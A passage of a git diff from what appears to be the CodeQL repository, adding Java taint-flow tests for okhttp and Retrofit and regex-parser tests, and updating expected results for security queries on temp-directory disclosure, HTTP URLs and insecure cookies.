+			// "okhttp3;HttpUrl$Builder;false;username;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.username(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl;false;parse;;;Argument[0];ReturnValue;taint"
+			HttpUrl out = null;
+			String in = (String) source();
+			out = HttpUrl.parse(in);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl;false;uri;;;Argument[-1];ReturnValue;taint"
+			URI out = null;
+			HttpUrl in = (HttpUrl) source();
+			out = in.uri();
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl;false;url;;;Argument[-1];ReturnValue;taint"
+			URL out = null;
+			HttpUrl in = (HttpUrl) source();
+			out = in.url();
+			sink(out); // $ hasTaintFlow
+		}
+
+	}
+
+}
diff --git a/java/ql/test/library-tests/frameworks/okhttp/options b/java/ql/test/library-tests/frameworks/okhttp/options
new file mode 100644
index 00000000000..597cc3181f0
--- /dev/null
+++ b/java/ql/test/library-tests/frameworks/okhttp/options
@@ -0,0 +1 @@
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/okhttp-4.9.3
diff --git a/java/ql/test/library-tests/frameworks/okhttp/test.expected b/java/ql/test/library-tests/frameworks/okhttp/test.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/library-tests/frameworks/okhttp/test.ql b/java/ql/test/library-tests/frameworks/okhttp/test.ql
new file mode 100644
index 00000000000..e78af7d25bf
--- /dev/null
+++ b/java/ql/test/library-tests/frameworks/okhttp/test.ql
@@ -0,0 +1,6 @@
+import java
+import TestUtilities.InlineFlowTest
+
+class FlowConf extends DefaultValueFlowConf {
+  override predicate isSink(DataFlow::Node n) { super.isSink(n) or sinkNode(n, "open-url") }
+}
diff --git a/java/ql/test/library-tests/frameworks/retrofit/Test.java b/java/ql/test/library-tests/frameworks/retrofit/Test.java
new file mode 100644
index 00000000000..a5513298230
--- /dev/null
+++ b/java/ql/test/library-tests/frameworks/retrofit/Test.java
@@ -0,0 +1,16 @@
+import java.net.URL;
+import okhttp3.HttpUrl;
+import retrofit2.Retrofit;
+
+public class Test {
+    public Object source() {
+        return null;
+    }
+
+    public void test() {
+        Retrofit.Builder builder = new Retrofit.Builder();
+        builder.baseUrl((String) source()); // $ hasValueFlow
+        builder.baseUrl((URL) source()); // $ hasValueFlow
+        builder.baseUrl((HttpUrl) source()); // $ hasValueFlow
+    }
+}
diff --git a/java/ql/test/library-tests/frameworks/retrofit/options b/java/ql/test/library-tests/frameworks/retrofit/options
new file mode 100644
index 00000000000..87371f0fe2a
--- /dev/null
+++ b/java/ql/test/library-tests/frameworks/retrofit/options
@@ -0,0 +1 @@
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/okhttp-4.9.3:${testdir}/../../../stubs/retrofit-2.9.0
diff --git a/java/ql/test/library-tests/frameworks/retrofit/test.expected b/java/ql/test/library-tests/frameworks/retrofit/test.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/library-tests/frameworks/retrofit/test.ql b/java/ql/test/library-tests/frameworks/retrofit/test.ql
new file mode 100644
index 00000000000..e78af7d25bf
--- /dev/null
+++ b/java/ql/test/library-tests/frameworks/retrofit/test.ql
@@ -0,0 +1,6 @@
+import java
+import TestUtilities.InlineFlowTest
+
+class FlowConf extends DefaultValueFlowConf {
+  override predicate isSink(DataFlow::Node n) { super.isSink(n) or sinkNode(n, "open-url") }
+}
diff --git a/java/ql/test/library-tests/literals/floatLiterals/floatLiterals.ql b/java/ql/test/library-tests/literals/floatLiterals/floatLiterals.ql
index 6a4a9093225..69051a50fe9 100644
--- a/java/ql/test/library-tests/literals/floatLiterals/floatLiterals.ql
+++ b/java/ql/test/library-tests/literals/floatLiterals/floatLiterals.ql
@@ -1,4 +1,4 @@
 import semmle.code.java.Expr
 
-from FloatingPointLiteral lit
+from FloatLiteral lit
 select lit, lit.getValue(), lit.getFloatValue()
diff --git a/java/ql/test/library-tests/literals/literals-numeric/negativeNumericLiterals.ql b/java/ql/test/library-tests/literals/literals-numeric/negativeNumericLiterals.ql
index 0fbb3989c7a..f8125960983 100644
--- a/java/ql/test/library-tests/literals/literals-numeric/negativeNumericLiterals.ql
+++ b/java/ql/test/library-tests/literals/literals-numeric/negativeNumericLiterals.ql
@@ -4,6 +4,6 @@ from Literal l
 where
   l instanceof IntegerLiteral or
   l instanceof LongLiteral or
-  l instanceof FloatingPointLiteral or
+  l instanceof FloatLiteral or
   l instanceof DoubleLiteral
 select l, l.getValue(), l.getParent()
diff --git a/java/ql/test/library-tests/regex/Test.java b/java/ql/test/library-tests/regex/Test.java
index b351c31812a..fd9be63b68b 100644
--- a/java/ql/test/library-tests/regex/Test.java
+++ b/java/ql/test/library-tests/regex/Test.java
@@ -101,4 +101,4 @@ public class Test {
 
   }
 
-}
+}
\ No newline at end of file
diff --git a/java/ql/test/library-tests/regex/parser/RegexParseTests.expected b/java/ql/test/library-tests/regex/parser/RegexParseTests.expected
new file mode 100644
index 00000000000..ad94d005289
--- /dev/null
+++ b/java/ql/test/library-tests/regex/parser/RegexParseTests.expected
@@ -0,0 +1,207 @@
+parseFailures
+#select
+| Test.java:5:10:5:17 | [A-Z\\d] | [RegExpCharacterClass] |
+| Test.java:5:10:5:19 | [A-Z\\d]++ | [RegExpPlus] |
+| Test.java:5:11:5:11 | A | [RegExpConstant,RegExpNormalChar] |
+| Test.java:5:11:5:13 | A-Z | [RegExpCharacterRange] |
+| Test.java:5:13:5:13 | Z | [RegExpConstant,RegExpNormalChar] |
+| Test.java:5:14:5:16 | \\d | [RegExpCharacterClassEscape] |
+| Test.java:6:10:6:42 | \\Q hello world [ *** \\Q ) ( \\E | [RegExpConstant,RegExpQuote] |
+| Test.java:6:10:6:43 | \\Q hello world [ *** \\Q ) ( \\E+ | [RegExpPlus] |
+| Test.java:7:10:7:23 | [\\Q hi ] \\E] | [RegExpCharacterClass] |
+| Test.java:7:10:7:24 | [\\Q hi ] \\E]+ | [RegExpPlus] |
+| Test.java:7:11:7:22 | \\Q hi ] \\E | [RegExpConstant,RegExpQuote] |
+| Test.java:8:10:8:12 | []] | [RegExpCharacterClass] |
+| Test.java:8:10:8:13 | []]+ | [RegExpPlus] |
+| Test.java:8:11:8:11 | ] | [RegExpConstant,RegExpNormalChar] |
+| Test.java:9:10:9:13 | [^]] | [RegExpCharacterClass] |
+| Test.java:9:10:9:14 | [^]]+ | [RegExpPlus] |
+| Test.java:9:12:9:12 | ] | [RegExpConstant,RegExpNormalChar] |
+| Test.java:10:10:10:20 | [abc[defg]] | [RegExpCharacterClass] |
+| Test.java:10:10:10:21 | [abc[defg]]+ | [RegExpPlus] |
+| Test.java:10:11:10:11 | a | [RegExpConstant,RegExpNormalChar] |
+| Test.java:10:12:10:12 | b | [RegExpConstant,RegExpNormalChar] |
+| Test.java:10:13:10:13 | c | [RegExpConstant,RegExpNormalChar] |
+| Test.java:10:14:10:14 | [ | [RegExpConstant,RegExpNormalChar] |
+| Test.java:10:15:10:15 | d | [RegExpConstant,RegExpNormalChar] |
+| Test.java:10:16:10:16 | e | [RegExpConstant,RegExpNormalChar] |
+| Test.java:10:17:10:17 | f | [RegExpConstant,RegExpNormalChar] |
+| Test.java:10:18:10:18 | g | [RegExpConstant,RegExpNormalChar] |
+| Test.java:10:19:10:19 | ] | [RegExpConstant,RegExpNormalChar] |
+| Test.java:11:10:11:57 | [abc&&[\\W\\p{Lower}\\P{Space}\\N{degree sign}]] | [RegExpCharacterClass] |
+| Test.java:11:10:11:69 | [abc&&[\\W\\p{Lower}\\P{Space}\\N{degree sign}]]\\b7\\b{g}8+ | [RegExpSequence] |
+| Test.java:11:11:11:11 | a | [RegExpConstant,RegExpNormalChar] |
+| Test.java:11:12:11:12 | b | [RegExpConstant,RegExpNormalChar] |
+| Test.java:11:13:11:13 | c | [RegExpConstant,RegExpNormalChar] |
+| Test.java:11:14:11:14 | & | [RegExpConstant,RegExpNormalChar] |
+| Test.java:11:15:11:15 | & | [RegExpConstant,RegExpNormalChar] |
+| Test.java:11:16:11:16 | [ | [RegExpConstant,RegExpNormalChar] |
+| Test.java:11:17:11:19 | \\W | [RegExpCharacterClassEscape] |
+| Test.java:11:20:11:29 | \\p{Lower} | [RegExpCharacterClassEscape] |
+| Test.java:11:30:11:39 | \\P{Space} | [RegExpCharacterClassEscape] |
+| Test.java:11:40:11:55 | \\N{degree sign} | [RegExpConstant,RegExpEscape] |
+| Test.java:11:56:11:56 | ] | [RegExpConstant,RegExpNormalChar] |
+| Test.java:11:58:11:60 | \\b | [RegExpConstant,RegExpEscape] |
+| Test.java:11:61:11:61 | 7 | [RegExpConstant,RegExpNormalChar] |
+| Test.java:11:62:11:67 | \\b{g} | [RegExpConstant,RegExpEscape] |
+| Test.java:11:68:11:68 | 8 | [RegExpConstant,RegExpNormalChar] |
+| Test.java:11:68:11:69 | 8+ | [RegExpPlus] |
+| Test.java:12:10:12:13 | \\cA | [RegExpConstant,RegExpEscape] |
+| Test.java:12:10:12:14 | \\cA+ | [RegExpPlus] |
+| Test.java:13:10:13:13 | \\c( | [RegExpConstant,RegExpEscape] |
+| Test.java:13:10:13:14 | \\c(+ | [RegExpPlus] |
+| Test.java:14:10:14:14 | \\c\\ | [RegExpConstant,RegExpEscape] |
+| Test.java:14:10:14:19 | \\c\\(ab)+ | [RegExpSequence] |
+| Test.java:14:15:14:18 | (ab) | [RegExpGroup] |
+| Test.java:14:15:14:19 | (ab)+ | [RegExpPlus] |
+| Test.java:14:16:14:16 | a | [RegExpConstant,RegExpNormalChar] |
+| Test.java:14:16:14:17 | ab | [RegExpSequence] |
+| Test.java:14:17:14:17 | b | [RegExpConstant,RegExpNormalChar] |
+| Test.java:15:10:15:15 | (?>hi) | [RegExpGroup] |
+| Test.java:15:10:15:45 | (?>hi)(?<name>hell*?o*+)123\\k<name> | [RegExpSequence] |
+| Test.java:15:13:15:13 | h | [RegExpConstant,RegExpNormalChar] |
+| Test.java:15:13:15:14 | hi | [RegExpSequence] |
+| Test.java:15:14:15:14 | i | [RegExpConstant,RegExpNormalChar] |
+| Test.java:15:16:15:33 | (?<name>hell*?o*+) | [RegExpGroup] |
+| Test.java:15:24:15:24 | h | [RegExpConstant,RegExpNormalChar] |
+| Test.java:15:24:15:32 | hell*?o*+ | [RegExpSequence] |
+| Test.java:15:25:15:25 | e | [RegExpConstant,RegExpNormalChar] |
+| Test.java:15:26:15:26 | l | [RegExpConstant,RegExpNormalChar] |
+| Test.java:15:27:15:27 | l | [RegExpConstant,RegExpNormalChar] |
+| Test.java:15:27:15:29 | l*? | [RegExpStar] |
+| Test.java:15:30:15:30 | o | [RegExpConstant,RegExpNormalChar] |
+| Test.java:15:30:15:32 | o*+ | [RegExpStar] |
+| Test.java:15:34:15:34 | 1 | [RegExpConstant,RegExpNormalChar] |
+| Test.java:15:35:15:35 | 2 | [RegExpConstant,RegExpNormalChar] |
+| Test.java:15:36:15:36 | 3 | [RegExpConstant,RegExpNormalChar] |
+| Test.java:15:37:15:45 | \\k<name> | [RegExpBackRef] |
+| Test.java:16:10:16:10 | a | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:10:16:11 | a+ | [RegExpPlus] |
+| Test.java:16:10:16:108 | a+b*c?d{2}e{3,4}f{,5}g{6,}h+?i*?j??k{7}?l{8,9}?m{,10}?n{11,}?o++p*+q?+r{12}+s{13,14}+t{,15}+u{16,}+ | [RegExpSequence] |
+| Test.java:16:12:16:12 | b | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:12:16:13 | b* | [RegExpStar] |
+| Test.java:16:14:16:14 | c | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:14:16:15 | c? | [RegExpOpt] |
+| Test.java:16:16:16:16 | d | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:16:16:19 | d{2} | [RegExpRange] |
+| Test.java:16:20:16:20 | e | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:20:16:25 | e{3,4} | [RegExpRange] |
+| Test.java:16:26:16:26 | f | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:26:16:30 | f{,5} | [RegExpRange] |
+| Test.java:16:31:16:31 | g | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:31:16:35 | g{6,} | [RegExpRange] |
+| Test.java:16:36:16:36 | h | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:36:16:38 | h+? | [RegExpPlus] |
+| Test.java:16:39:16:39 | i | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:39:16:41 | i*? | [RegExpStar] |
+| Test.java:16:42:16:42 | j | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:42:16:44 | j?? | [RegExpOpt] |
+| Test.java:16:45:16:45 | k | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:45:16:49 | k{7}? | [RegExpQuantifier] |
+| Test.java:16:50:16:50 | l | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:50:16:56 | l{8,9}? | [RegExpQuantifier] |
+| Test.java:16:57:16:57 | m | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:57:16:63 | m{,10}? | [RegExpQuantifier] |
+| Test.java:16:64:16:64 | n | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:64:16:70 | n{11,}? | [RegExpQuantifier] |
+| Test.java:16:71:16:71 | o | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:71:16:73 | o++ | [RegExpPlus] |
+| Test.java:16:74:16:74 | p | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:74:16:76 | p*+ | [RegExpStar] |
+| Test.java:16:77:16:77 | q | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:77:16:79 | q?+ | [RegExpOpt] |
+| Test.java:16:80:16:80 | r | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:80:16:85 | r{12}+ | [RegExpQuantifier] |
+| Test.java:16:86:16:86 | s | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:86:16:94 | s{13,14}+ | [RegExpQuantifier] |
+| Test.java:16:95:16:95 | t | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:95:16:101 | t{,15}+ | [RegExpQuantifier] |
+| Test.java:16:102:16:102 | u | [RegExpConstant,RegExpNormalChar] |
+| Test.java:16:102:16:108 | u{16,}+ | [RegExpQuantifier] |
+| Test.java:17:10:17:13 | (?i) | [RegExpZeroWidthMatch] |
+| Test.java:17:10:17:36 | (?i)(?=a)(?!b)(?<=c)(?<!d)+ | [RegExpSequence] |
+| Test.java:17:14:17:18 | (?=a) | [RegExpPositiveLookahead] |
+| Test.java:17:17:17:17 | a | [RegExpConstant,RegExpNormalChar] |
+| Test.java:17:19:17:23 | (?!b) | [RegExpNegativeLookahead] |
+| Test.java:17:22:17:22 | b | [RegExpConstant,RegExpNormalChar] |
+| Test.java:17:24:17:29 | (?<=c) | [RegExpPositiveLookbehind] |
+| Test.java:17:28:17:28 | c | [RegExpConstant,RegExpNormalChar] |
+| Test.java:17:30:17:35 | (?<!d) | [RegExpNegativeLookbehind] |
+| Test.java:17:30:17:36 | (?<!d)+ | [RegExpPlus] |
+| Test.java:17:34:17:34 | d | [RegExpConstant,RegExpNormalChar] |
+| Test.java:18:10:18:10 | a | [RegExpConstant,RegExpNormalChar] |
+| Test.java:18:10:18:25 | a\|\|b\|c(d\|e\|)f\|g+ | [RegExpAlt] |
+| Test.java:18:12:18:25 | \|b\|c(d\|e\|)f\|g+ | [RegExpAlt] |
+| Test.java:18:13:18:13 | b | [RegExpConstant,RegExpNormalChar] |
+| Test.java:18:15:18:15 | c | [RegExpConstant,RegExpNormalChar] |
+| Test.java:18:15:18:22 | c(d\|e\|)f | [RegExpSequence] |
+| Test.java:18:16:18:21 | (d\|e\|) | [RegExpGroup] |
+| Test.java:18:17:18:17 | d | [RegExpConstant,RegExpNormalChar] |
+| Test.java:18:17:18:20 | d\|e\| | [RegExpAlt] |
+| Test.java:18:19:18:19 | e | [RegExpConstant,RegExpNormalChar] |
+| Test.java:18:22:18:22 | f | [RegExpConstant,RegExpNormalChar] |
+| Test.java:18:24:18:24 | g | [RegExpConstant,RegExpNormalChar] |
+| Test.java:18:24:18:25 | g+ | [RegExpPlus] |
+| Test.java:19:10:19:13 | \\01 | [RegExpConstant,RegExpEscape] |
+| Test.java:19:10:19:38 | \\018\\033\\0377\\0777\u1337+ | [RegExpSequence] |
+| Test.java:19:14:19:14 | 8 | [RegExpConstant,RegExpNormalChar] |
+| Test.java:19:15:19:19 | \\033 | [RegExpConstant,RegExpEscape] |
+| Test.java:19:20:19:25 | \\0377 | [RegExpConstant,RegExpEscape] |
+| Test.java:19:26:19:30 | \\077 | [RegExpConstant,RegExpEscape] |
+| Test.java:19:31:19:31 | 7 | [RegExpConstant,RegExpNormalChar] |
+| Test.java:19:32:19:37 | \u1337 | [RegExpConstant,RegExpNormalChar] |
+| Test.java:19:32:19:38 | \u1337+ | [RegExpPlus] |
+| Test.java:20:10:20:12 | [\|] | [RegExpCharacterClass] |
+| Test.java:20:10:20:13 | [\|]+ | [RegExpPlus] |
+| Test.java:20:11:20:11 | \| | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:10:21:37 | (a(a(a(a(a(a((((c))))a)))))) | [RegExpGroup] |
+| Test.java:21:10:21:68 | (a(a(a(a(a(a((((c))))a))))))((((((b(((((d)))))b)b)b)b)b)b)+ | [RegExpSequence] |
+| Test.java:21:11:21:11 | a | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:11:21:36 | a(a(a(a(a(a((((c))))a))))) | [RegExpSequence] |
+| Test.java:21:12:21:36 | (a(a(a(a(a((((c))))a))))) | [RegExpGroup] |
+| Test.java:21:13:21:13 | a | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:13:21:35 | a(a(a(a(a((((c))))a)))) | [RegExpSequence] |
+| Test.java:21:14:21:35 | (a(a(a(a((((c))))a)))) | [RegExpGroup] |
+| Test.java:21:15:21:15 | a | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:15:21:34 | a(a(a(a((((c))))a))) | [RegExpSequence] |
+| Test.java:21:16:21:34 | (a(a(a((((c))))a))) | [RegExpGroup] |
+| Test.java:21:17:21:17 | a | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:17:21:33 | a(a(a((((c))))a)) | [RegExpSequence] |
+| Test.java:21:18:21:33 | (a(a((((c))))a)) | [RegExpGroup] |
+| Test.java:21:19:21:19 | a | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:19:21:32 | a(a((((c))))a) | [RegExpSequence] |
+| Test.java:21:20:21:32 | (a((((c))))a) | [RegExpGroup] |
+| Test.java:21:21:21:21 | a | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:21:21:31 | a((((c))))a | [RegExpSequence] |
+| Test.java:21:22:21:30 | ((((c)))) | [RegExpGroup] |
+| Test.java:21:23:21:29 | (((c))) | [RegExpGroup] |
+| Test.java:21:24:21:28 | ((c)) | [RegExpGroup] |
+| Test.java:21:25:21:27 | (c) | [RegExpGroup] |
+| Test.java:21:26:21:26 | c | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:31:21:31 | a | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:38:21:67 | ((((((b(((((d)))))b)b)b)b)b)b) | [RegExpGroup] |
+| Test.java:21:38:21:68 | ((((((b(((((d)))))b)b)b)b)b)b)+ | [RegExpPlus] |
+| Test.java:21:39:21:65 | (((((b(((((d)))))b)b)b)b)b) | [RegExpGroup] |
+| Test.java:21:39:21:66 | (((((b(((((d)))))b)b)b)b)b)b | [RegExpSequence] |
+| Test.java:21:40:21:63 | ((((b(((((d)))))b)b)b)b) | [RegExpGroup] |
+| Test.java:21:40:21:64 | ((((b(((((d)))))b)b)b)b)b | [RegExpSequence] |
+| Test.java:21:41:21:61 | (((b(((((d)))))b)b)b) | [RegExpGroup] |
+| Test.java:21:41:21:62 | (((b(((((d)))))b)b)b)b | [RegExpSequence] |
+| Test.java:21:42:21:59 | ((b(((((d)))))b)b) | [RegExpGroup] |
+| Test.java:21:42:21:60 | ((b(((((d)))))b)b)b | [RegExpSequence] |
+| Test.java:21:43:21:57 | (b(((((d)))))b) | [RegExpGroup] |
+| Test.java:21:43:21:58 | (b(((((d)))))b)b | [RegExpSequence] |
+| Test.java:21:44:21:44 | b | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:44:21:56 | b(((((d)))))b | [RegExpSequence] |
+| Test.java:21:45:21:55 | (((((d))))) | [RegExpGroup] |
+| Test.java:21:46:21:54 | ((((d)))) | [RegExpGroup] |
+| Test.java:21:47:21:53 | (((d))) | [RegExpGroup] |
+| Test.java:21:48:21:52 | ((d)) | [RegExpGroup] |
+| Test.java:21:49:21:51 | (d) | [RegExpGroup] |
+| Test.java:21:50:21:50 | d | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:56:21:56 | b | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:58:21:58 | b | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:60:21:60 | b | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:62:21:62 | b | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:64:21:64 | b | [RegExpConstant,RegExpNormalChar] |
+| Test.java:21:66:21:66 | b | [RegExpConstant,RegExpNormalChar] |
diff --git a/java/ql/test/library-tests/regex/parser/RegexParseTests.ql b/java/ql/test/library-tests/regex/parser/RegexParseTests.ql
new file mode 100644
index 00000000000..345031a3b2d
--- /dev/null
+++ b/java/ql/test/library-tests/regex/parser/RegexParseTests.ql
@@ -0,0 +1,10 @@
+import java
+import semmle.code.java.regex.RegexTreeView
+import semmle.code.java.regex.regex
+
+string getQLClases(RegExpTerm t) { result = "[" + strictconcat(t.getPrimaryQLClass(), ",") + "]" }
+
+query predicate parseFailures(Regex r, int i) { r.failedToParse(i) }
+
+from RegExpTerm t
+select t, getQLClases(t)
diff --git a/java/ql/test/library-tests/regex/parser/Test.java b/java/ql/test/library-tests/regex/parser/Test.java
new file mode 100644
index 00000000000..713f150243f
--- /dev/null
+++ b/java/ql/test/library-tests/regex/parser/Test.java
@@ -0,0 +1,29 @@
+import java.util.regex.Pattern;
+
+class Test {
+    static String[] regs = {
+        "[A-Z\\d]++",
+        "\\Q hello world [ *** \\Q ) ( \\E+",
+        "[\\Q hi ] \\E]+",
+        "[]]+",
+        "[^]]+",
+        "[abc[defg]]+",
+        "[abc&&[\\W\\p{Lower}\\P{Space}\\N{degree sign}]]\\b7\\b{g}8+",
+        "\\cA+",
+        "\\c(+",
+        "\\c\\(ab)+",
+        "(?>hi)(?<name>hell*?o*+)123\\k<name>",
+        "a+b*c?d{2}e{3,4}f{,5}g{6,}h+?i*?j??k{7}?l{8,9}?m{,10}?n{11,}?o++p*+q?+r{12}+s{13,14}+t{,15}+u{16,}+",
+        "(?i)(?=a)(?!b)(?<=c)(?<!d)+",
+        "a||b|c(d|e|)f|g+",
+        "\\018\\033\\0377\\0777\u1337+",
+        "[|]+",
+        "(a(a(a(a(a(a((((c))))a))))))((((((b(((((d)))))b)b)b)b)b)b)+"
+    };
+
+    void test() {
+        for (int i = 0; i < regs.length; i++) {
+            Pattern.compile(regs[i]);
+        }
+    }
+}
diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure.expected b/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure.expected
index 0791e49c71b..03c431822b5 100644
--- a/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure.expected
+++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/TempDirLocalInformationDisclosure.expected
@@ -8,9 +8,11 @@ edges
 | Test.java:50:29:50:94 | new File(...) : File | Test.java:53:63:53:74 | tempDirChild |
 | Test.java:50:38:50:83 | new File(...) : File | Test.java:50:29:50:94 | new File(...) : File |
 | Test.java:50:47:50:82 | getProperty(...) : String | Test.java:50:38:50:83 | new File(...) : File |
-| Test.java:61:24:61:69 | new File(...) : File | Test.java:64:63:64:69 | tempDir |
+| Test.java:61:24:61:69 | new File(...) : File | Test.java:61:24:61:88 | getCanonicalFile(...) : File |
+| Test.java:61:24:61:88 | getCanonicalFile(...) : File | Test.java:64:63:64:69 | tempDir |
 | Test.java:61:33:61:68 | getProperty(...) : String | Test.java:61:24:61:69 | new File(...) : File |
-| Test.java:75:24:75:69 | new File(...) : File | Test.java:78:63:78:69 | tempDir |
+| Test.java:75:24:75:69 | new File(...) : File | Test.java:75:24:75:87 | getAbsoluteFile(...) : File |
+| Test.java:75:24:75:87 | getAbsoluteFile(...) : File | Test.java:78:63:78:69 | tempDir |
 | Test.java:75:33:75:68 | getProperty(...) : String | Test.java:75:24:75:69 | new File(...) : File |
 | Test.java:110:29:110:84 | new File(...) : File | Test.java:113:9:113:20 | tempDirChild |
 | Test.java:110:38:110:73 | getProperty(...) : String | Test.java:110:29:110:84 | new File(...) : File |
@@ -68,9 +70,11 @@ nodes
 | Test.java:50:47:50:82 | getProperty(...) : String | semmle.label | getProperty(...) : String |
 | Test.java:53:63:53:74 | tempDirChild | semmle.label | tempDirChild |
 | Test.java:61:24:61:69 | new File(...) : File | semmle.label | new File(...) : File |
+| Test.java:61:24:61:88 | getCanonicalFile(...) : File | semmle.label | getCanonicalFile(...) : File |
 | Test.java:61:33:61:68 | getProperty(...) : String | semmle.label | getProperty(...) : String |
 | Test.java:64:63:64:69 | tempDir | semmle.label | tempDir |
 | Test.java:75:24:75:69 | new File(...) : File | semmle.label | new File(...) : File |
+| Test.java:75:24:75:87 | getAbsoluteFile(...) : File | semmle.label | getAbsoluteFile(...) : File |
 | Test.java:75:33:75:68 | getProperty(...) : String | semmle.label | getProperty(...) : String |
 | Test.java:78:63:78:69 | tempDir | semmle.label | tempDir |
 | Test.java:97:24:97:65 | createTempDir(...) | semmle.label | createTempDir(...) |
diff --git a/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrls.expected b/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrls.expected
index af4bc51c793..a6a8886c4b3 100644
--- a/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrls.expected
+++ b/java/ql/test/query-tests/security/CWE-311/CWE-319/HttpsUrls.expected
@@ -19,7 +19,7 @@ nodes
 | HttpsUrlsTest.java:92:50:92:50 | u | semmle.label | u |
 subpaths
 #select
-| HttpsUrlsTest.java:28:50:28:67 | openConnection(...) | HttpsUrlsTest.java:23:23:23:31 | "http://" : String | HttpsUrlsTest.java:28:50:28:50 | u | URL may have been constructed with HTTP protocol, using $@. | HttpsUrlsTest.java:23:23:23:31 | "http://" | this source |
-| HttpsUrlsTest.java:41:50:41:67 | openConnection(...) | HttpsUrlsTest.java:36:23:36:28 | "http" : String | HttpsUrlsTest.java:41:50:41:50 | u | URL may have been constructed with HTTP protocol, using $@. | HttpsUrlsTest.java:36:23:36:28 | "http" | this source |
-| HttpsUrlsTest.java:55:50:55:67 | openConnection(...) | HttpsUrlsTest.java:49:23:49:31 | "http://" : String | HttpsUrlsTest.java:55:50:55:50 | u | URL may have been constructed with HTTP protocol, using $@. | HttpsUrlsTest.java:49:23:49:31 | "http://" | this source |
-| HttpsUrlsTest.java:92:50:92:67 | openConnection(...) | HttpsUrlsTest.java:87:23:87:28 | "http" : String | HttpsUrlsTest.java:92:50:92:50 | u | URL may have been constructed with HTTP protocol, using $@. | HttpsUrlsTest.java:87:23:87:28 | "http" | this source |
+| HttpsUrlsTest.java:28:50:28:50 | u | HttpsUrlsTest.java:23:23:23:31 | "http://" : String | HttpsUrlsTest.java:28:50:28:50 | u | URL may have been constructed with HTTP protocol, using $@. | HttpsUrlsTest.java:23:23:23:31 | "http://" | this source |
+| HttpsUrlsTest.java:41:50:41:50 | u | HttpsUrlsTest.java:36:23:36:28 | "http" : String | HttpsUrlsTest.java:41:50:41:50 | u | URL may have been constructed with HTTP protocol, using $@. | HttpsUrlsTest.java:36:23:36:28 | "http" | this source |
+| HttpsUrlsTest.java:55:50:55:50 | u | HttpsUrlsTest.java:49:23:49:31 | "http://" : String | HttpsUrlsTest.java:55:50:55:50 | u | URL may have been constructed with HTTP protocol, using $@. | HttpsUrlsTest.java:49:23:49:31 | "http://" | this source |
+| HttpsUrlsTest.java:92:50:92:50 | u | HttpsUrlsTest.java:87:23:87:28 | "http" : String | HttpsUrlsTest.java:92:50:92:50 | u | URL may have been constructed with HTTP protocol, using $@. | HttpsUrlsTest.java:87:23:87:28 | "http" | this source |
diff --git a/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/InsecureCookie.expected b/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/InsecureCookie.expected
index 27f87012337..a94bec2c013 100644
--- a/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/InsecureCookie.expected
+++ b/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/InsecureCookie.expected
@@ -1 +1,4 @@
-| Test.java:16:4:16:29 | addCookie(...) | Cookie is added to response without the 'secure' flag being set. |
+| Test.java:19:4:19:29 | addCookie(...) | Cookie is added to response without the 'secure' flag being set. |
+| Test.java:28:4:28:29 | addCookie(...) | Cookie is added to response without the 'secure' flag being set. |
+| Test.java:37:4:37:29 | addCookie(...) | Cookie is added to response without the 'secure' flag being set. |
+| Test.java:51:4:51:29 | addCookie(...) | Cookie is added to response without the 'secure' flag being set. |
diff --git a/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/Test.java
